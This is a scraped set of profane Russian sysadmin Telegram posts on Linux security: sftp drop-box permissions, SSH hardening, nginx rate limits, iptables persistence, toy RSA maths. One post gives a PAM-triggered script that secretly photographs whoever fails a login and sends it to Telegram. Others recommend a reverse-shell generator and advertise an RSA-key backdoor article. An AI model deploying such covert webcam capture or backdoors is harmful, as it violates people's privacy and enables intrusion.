Тут меня попросили подробнее рассказать про права 330 на каталог.
🔤 🔤 🔥 🔤 🔤 🔤 🔤
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
🔔 @bashdays➡️ @gitgate
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
chmod -R +X ./ установит возможность поиска во всех подкаталогах текущего, но не сделает все файлы исполняемыми!Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
filXXX_Ohd1Ul.txt Имя файла для каждого филиала всегда одно и то же, префикс - название филиала, суффикс набор букв (защита от перебора).То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 72
Так ребята, писал давненько скрипт одному упоротому безопаснику на заводе.
Задача стояла такая: Я работаю в офисе и порой хожу посрать, но кругом хакеры, ноут с собой постоянно таскать не могу, он прибит гвоздями, а терпеть не вариант.
ㅤ
Ну ты понял. Тип захотел, чтобы его ноут сфоткал ебальник коллеги, который возможно вынашивает коварный план. И однажды попытается взломать его пароль из 128 символов.
Сказано сделано, дополнительно прикрутил фичу с оправкой фотки в телегу.
Делаем скрипт исполняемым (иксим через чмод), кидаем этот скрипт например сюда:
Добавляем строчку в
Если хочешь чтобы скрипт был обязателен для выполнения, замени
Работает так:
- При неудачной аутентификации PAM вызывает скрипт ebalo_send.sh
- Скрипт делает снимок ебальника с камеры и отправляет его в телегу
Такие дела. Бери на вооружение, может где-то и пригодится.
Ну и свои варианты кидай в комменты, всяко чото интересное всплывет.
tags: #linux #security #bash
—
🔔 @bashdays➡️ @gitgate
Задача стояла такая: Я работаю в офисе и порой хожу посрать, но кругом хакеры, ноут с собой постоянно таскать не могу, он прибит гвоздями, а терпеть не вариант.
ㅤ
Ну ты понял. Тип захотел, чтобы его ноут сфоткал ебальник коллеги, который возможно вынашивает коварный план. И однажды попытается взломать его пароль из 128 символов.
Сказано сделано, дополнительно прикрутил фичу с оправкой фотки в телегу.
Публикую как есть, оптимизировать задачи не было, нужно было сделать вчера.
#!/bin/bash
# Херачим переменные
TOKEN="BOT_TOKEN"
CHAT_ID="CHAT_ID"
USER=$(whoami)
TIMESTAMP=$(date '+%Y-%m-%d_%H-%M-%S')
IMAGE_PATH="/tmp/ebalo-${USER}-${TIMESTAMP}.png"
# Делаем фотку с вебки
if ffmpeg -y -t 1 -f video4linux2 -s 640x480 -r 30 -i /dev/video0 -f image2 "$IMAGE_PATH"; then
echo "✅ Ебальник успешно захвачен: $IMAGE_PATH"
else
echo "❌ Ошибка: Не удалось захватить ебальник"
exit 1
fi
# Пулим фотку в телегу
RESPONSE=$(curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendPhoto" \
-F chat_id="$CHAT_ID" \
-F photo="@$IMAGE_PATH" \
-F caption="🚨 Хакер пойман, лови ебальник: $USER на $(hostname)")
# Проверяем респонс
if echo "$RESPONSE" | grep -q '"ok":true'; then
echo "📨 Ебальник успешно отправлен в Telegram"
else
echo "❌ Ошибка: Не удалось отправить ебальник в Telegram"
echo "Ответ Telegram API: $RESPONSE"
fi
# Подчищаем за собой
rm -f "$IMAGE_PATH"
Делаем скрипт исполняемым (иксим через чмод), кидаем этот скрипт например сюда:
/usr/local/bin/Добавляем строчку в
/etc/pam.d/common-authauth optional pam_exec.so /usr/local/bin/ebalo_send.sh
optional = скрипт не блокирует аутентификацию, даже если выплюнет ошибкуЕсли хочешь чтобы скрипт был обязателен для выполнения, замени
optional на required.Работает так:
- При неудачной аутентификации PAM вызывает скрипт ebalo_send.sh
- Скрипт делает снимок ебальника с камеры и отправляет его в телегу
Да, не забудь проверить что у PAM есть разрешение на доступ к /dev/video0 и на выполнение скрипта.
Такие дела. Бери на вооружение, может где-то и пригодится.
Ну и свои варианты кидай в комменты, всяко чото интересное всплывет.
tags: #linux #security #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
15 167
Нашел на просторах пиздатый генератор реверс-шелов, разнообразие способов просто зашкаливает.
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
🔔 @bashdays➡️ @gitgate
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
По реверс-шелам у меня есть отдельный пост с подробным мануалом.
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
11 74
Еще один частый вопрос с LF — а нужно ли менять дефолтный ssh (22) порт на какой-то другой?
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
Охуеть как удобно! Ты скажешь - дак можно же в
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
🔔 @bashdays➡️ @gitgate
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
ssh -p2222 user@server
Охуеть как удобно! Ты скажешь - дак можно же в
~/.ssh/config все это прописать и всё вернуть на свои места.Host bashdays.ru
HostName bashdays.ru
User user
IdentityFile ~/.ssh/shuba
Port 2222
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
nmap -Pn, по итогу получат твой 2222 и продолжат долбиться.Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
- отключи вход по паролю
- перейди на ssh ключи
- запрети вход для рута
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 87
Здрасти мои хорошие!
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
😲 Подключить DDosGuard или Кратор!
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
Поехали настраивать.
Создаем файл
Для рейта есть такая табличка:
тестируем так:
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
🅰️ 🅰️
Сука! А как рассчитать эту 20m памяти? Щаа…
Пардон, хуйню сморозил, давай на котиках:
То есть, зона
А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
Есть такая табличка:
Да, еще можно настроить
Например:
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
2. Те, кто с
Во втором блоке про мапинг:
1. Если
2. Если
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
➡️ Ну и сыпь в комменты свои варианты!
tags: #nginx #devops #security
—
🔔 @bashdays➡️ @gitgate
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
limit_req_zone, он то нам и пригодится. Этот параметр ограничивает количество одновременных запросов с одного айпишника.Поехали настраивать.
Создаем файл
/etc/nginx/conf.d/assholes.confgeo $limited {
default 1;
192.168.1.1 0; # Этот IP не лимитируется
10.0.0.0/24 0; # 10.0.0.0/24 тоже без ограничений
}
map $limited $limit {
1 $binary_remote_addr;
0 "";
}
limit_req_zone $limit zone=bashdays:20m rate=200r/s; limit_req_zone - ключ для отслеживания запросов.$binary_remote_addr - системная переменная nginx, внутри хранит ip адрес клиента.zone=bashdays:20m - произвольное имя зоны, 20m это объём памяти в мегабайтах для хранения данных. В этой зоне хранятся данные о количестве запросов от каждого уникального клиента.rate=200r/s - ограничение равное 200 запросов в секунды с одного ip клиента. Для рейта есть такая табличка:
Сценарий rate burst
-------------------------------------------
API с высокой нагрузкой 100r/s 200
Средний веб-сайт 50r/s 100
Анти-DDoS защита 10r/s 20
CDN или кеширующий прокси 500r/s 1000
тестируем так:
ab -n 1000 -c 50 http://bashdays.ru/
wrk -t4 -c100 -d10s http://bashdays.ru/
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
Сука! А как рассчитать эту 20m памяти? Щаа…
Максимальное количество клиентов = размер зоны в байтах / размерзаписинаклиента
Пардон, хуйню сморозил, давай на котиках:
Пример расчёта для 20m (20 мегабайт = 20 × 1024 × 1024 = 20 971 520 байт):
20 971 520 / 128 = 163 840
То есть, зона
20m может хранить лимиты примерно для 163 тысяч уникальных клиентов одновременно.А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
$binary_remote_addr или другое значение) в зоне, используя примерно 128 байт на запись.Есть такая табличка:
< 20 000 = 4m
~80 000 = 10m
~160 000 = 20m
500 000+ = 64m
Да, еще можно настроить
burst для резких пиков. burst позволяет временно превышать rate, прежде чем включится жёсткий лимит.Например:
limit_req zone=bashdays burst=400 nodelay;
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
nodelay означает, что первые 400 запросов проходят сразу, а потом начинается строгий лимит.Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
$limited = 1 (по умолчанию).2. Те, кто с
192.168.1.1 или из 10.0.0.0/24, получат $limited = 0 и не будут ограничены.Во втором блоке про мапинг:
1. Если
$limited = 1, то $limit = $binary_remote_addr (IP-адрес клиента).2. Если
$limited = 0, то $limit = "", и клиент не попадает в limit_req_zone.
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
location / {
limit_req zone=bashdays burst=10 nodelay;
try_files $uri $uri/ /index.php?$args;
} Про burst и nodelay выше уже рассказывал.
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
location / {
limit_req_status 429;
limit_req zone=bashdays burst=10 nodelay;
try_files $uri $uri/ /index.php?$args;
}Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
tags: #nginx #devops #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
🔥 Скрытые данные в эмодзи/символах
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
🅰️ 🅰️
➡️ Технический подробности глянуть тут.
➡️ Исходники кодера/декодера на гитхабе.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
🔔 @bashdays➡️ @gitgate
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Unicode представляет текст как последовательность кодовых точек — чисел, которым присвоено определённое значение. Каждая кодовая точка записывается в формате U+XXXX, где XXXX — это шестнадцатеричное число в верхнем регистре.
Для латинских символов каждой кодовой точке соответствует конкретный символ на экране. Например, кодовая точка U+0067 обозначает букву "g".
Однако в некоторых системах письма один видимый символ может состоять из нескольких кодовых точек. Например, символ "की" в деванагари формируется из кодовых точек U+0915 и U+0940, соединённых вместе.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
В комменты закину такой смайлик на потыкать. Перешли себе в Избранное и от туда уже правой мышкой - копировать текст.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Щас бы яблочко куснуть, выпить пива и уснуть
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
🔔 @bashdays➡️ @gitgate
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Помню в Adobe Acrobat там вот полная поддержка js была, вот это прям была кладезь для экспериментов.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Пентестеры, берите на вооружение, возможно замутите свою pdf’ку, но уже с полезной нагрузкой.
Уточнение — с полезной, а не деструктивной, у нас не инкубатор черношляпых.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Привет друзья, наш товарищ
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
➡️ Всё что нужно знать про CrowdSec
tags: #security
—
🔔 @bashdays➡️ @gitgate
Sf1nk5 подготовил внушительную статью про CrowdSec. За что ему объявлена благодарность.CrowdSec — это система защиты от кибератак, которая использует анализ поведения и коллективную защиту. Она похожа на Fail2Ban, но более мощная и современная.
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
tags: #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Как работает RSA.
Вся ассиметричная криптография держится на принципе:
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
Подставляем в формулу:
Получается:
Открытый ключ:
Закрытый ключ:
😲 Пример на письках
Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
И шифруем хуй Ивана:
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
В результате получим: 717 и 21. Что и требовалось доказать!
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
🛠 #ssl #security #rsa #crypto
—
✅ @bashdays / @linuxfactory / @blog
Вся ассиметричная криптография держится на принципе:
В одну сторону — быстро, в другую сторону — неразумно и пиздец как долго.
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
p = 19
q = 41
Подставляем в формулу:
N=p*q=779ф(N)=(p-1)*(q-1)=720e=691d=571
N = p * q = 779 = это модуль, он используется как часть открытого и закрытого ключей.φ(N) = (p - 1)(q - 1) = 18 * 40 = 720 = функция Эйлера от N, она показывает количество чисел, взаимно простых с N.e = 691 = открытая экспонента, часть публичного ключа. Она должна быть взаимно проста с φ(N).d = 571 = закрытая экспонента, часть приватного ключа. Это мультипликативная обратная величина к e по модулю φ(N) (то есть: (d * e) % φ(N) = 1).Получается:
Открытый ключ:
(e, N) = (691, 779)Закрытый ключ:
(d, N) = (571, 779)Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
(691, 779).И шифруем хуй Ивана:
21^691 mod 779 = 717
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
717^571 mod 779 = 21
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
#!/bin/bash
# Исходные данные
m=21
e=691
d=571
n=779
# Шифруем: c = m^e mod n
c=$(echo "$m ^ $e % $n" | bc)
echo "Зашифрованное сообщение: $c"
# Расшифровываем: m = c^d mod n
decrypted=$(echo "$c ^ $d % $n" | bc)
echo "Расшифрованное сообщение: $decrypted"
В результате получим: 717 и 21. Что и требовалось доказать!
В этот скрипт можешь подставить исходные данные своего прибора и результаты скинуть пиэму.
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 123
Внедряем бэкдор в RSA
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
🛠 #ssl #security #rsa #crypto
—
✅ @bashdays / @linuxfactory / @blog
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 54
Вечный вопрос — как сохранить правила iptables?
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
Ладно, спиздел, нужно еще доставить:
Эта хуёвина автоматом создает файлы
А если у тебя длинный писюн, можно и от первых двух команд избавиться.
😀 😃 😄 😁 😅 😂 🤣 😊
😇 🙂 🙃 😉 😌 😍 🥰 😘
😗 😙 😚 😋 😛 😝 😜 🤪
🤨 🧐 🤓 😎 🤩 🥳 😏 😒
Просто открываешь напрямую файл
После этого не забываем дёрнуть слона за хобот:
Либо по старинке, добавляешь правила через терминал и затем делаешь:
Но в этом случае файлы
Саммари
1. Ставим
2. Пиздярим правила в терминале
3. Применяем
Как делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
Такие дела, изучай.
🛠 #linux #security #iptables
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
Ладно, спиздел, нужно еще доставить:
sudo apt install iptables-persistent
Эта хуёвина автоматом создает файлы
/etc/iptables/rules.v4, /etc/iptables/rules.v6 и будет применять их при загрузке.А если у тебя длинный писюн, можно и от первых двух команд избавиться.
Просто открываешь напрямую файл
rules.v4/rules.v6 и прописываешь туда все свои хотелки. После этого не забываем дёрнуть слона за хобот:
systemctl restart netfilter-persistent
Либо по старинке, добавляешь правила через терминал и затем делаешь:
sudo netfilter-persistent save
Но в этом случае файлы
rules.v4/rules.v6 будут перезатерты, имей это ввиду если лез в них своими руками.Саммари
1. Ставим
iptables-persistent2. Пиздярим правила в терминале
3. Применяем
netfilter-persistent saveКак делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
rules.v4/rules.v6, хотя это не есть бест-практика, не делай так.Такие дела, изучай.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 66
Вчера в посте я упомянул конфиги
ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
RHEL / CentOS / Rocky / Alma (iptables-services)
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
🛠 #linux #security #iptables
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
iptables лишь для части дистрибутивов, Alex эту ситуацию в комментариях подметил верно.ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
/etc/iptables/rules.v4
/etc/iptables/rules.v6
RHEL / CentOS / Rocky / Alma (iptables-services)
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
/etc/iptables/iptables.rules
/etc/iptables/ip6tables.rules
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
/etc/sysconfig/iptables
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
/etc/iptables/rules.v4
/etc/iptables/rules.v6
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
—
Please open Telegram to view this post
